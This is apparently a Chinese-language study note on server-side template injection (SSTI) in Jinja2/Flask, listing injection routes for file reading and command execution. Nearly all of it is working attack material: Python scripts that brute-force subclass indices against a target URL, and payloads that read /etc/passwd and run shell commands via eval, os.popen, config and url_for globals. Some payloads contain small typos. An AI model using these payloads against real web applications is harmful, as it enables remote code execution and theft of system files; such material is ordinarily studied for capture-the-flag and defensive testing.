学习SSTISSTI常用模块
FLYFISH常用注入模块
- 文件读取
- 内建函数eval执行命令
- os模块执行命令
- importlib类执行命令
- linecache函数执行命令
- subproces.Popen类执行命令
文件读取
查找子类_frozen_importlib_external.FileLoader
查看文件读取函数
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests
url = input('请输入URL链接:')
for i in range(500): data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if '_frozen_importlib_external.FileLoader' in response.text: print(response.text) print(i) except requests.RequestException as e: print(f"请求出错: {e}")
|
FileLoader的利用
1
| {{''.__class__.__base__.__subclasses__()[114]["get_data"](0(参数),"/etc/password"(文件路径))}}
|
内建函数eval执行命令
查看eval函数的位置
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests
url = input('请输入URL链接:')
for i in range(500): data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if 'eval' in response.text: print(response.text) print(i) except requests.RequestException as e: print(f"请求出错: {e}")
|
利用
1
| {{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
|
os模块执行命令
- 在其他函数中直接调用os模块
1 2 3 4
| {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}
|
- 在已经加载os模块的子类里直接调用os模块
1
| {{''.__class__.__bases__[0].__subclasses__()[114].__init__.globals__['os'].popen("ls").read()}}
|
查看已经加载os.py模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests
url = input('请输入URL链接:')
for i in range(500): data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if 'os.py' in response.text: print(response.text) print(i) except requests.RequestException as e: print(f"请求出错: {e}")
|
剩下用的不多
importlib类执行命令
**作用:**可以加载第三方库,使用load_module加载os
查找_frozen_importlib.Builtinlmporter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests
url = input('请输入URL链接:')
for i in range(500): data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"} try: response = requests.post(url, data=data) if response.status_code == 200: if '_frozen_importlib.Builtinlmporter' in response.text: print(response.text) print(i) except requests.RequestException as e: print(f"请求出错: {e}")
|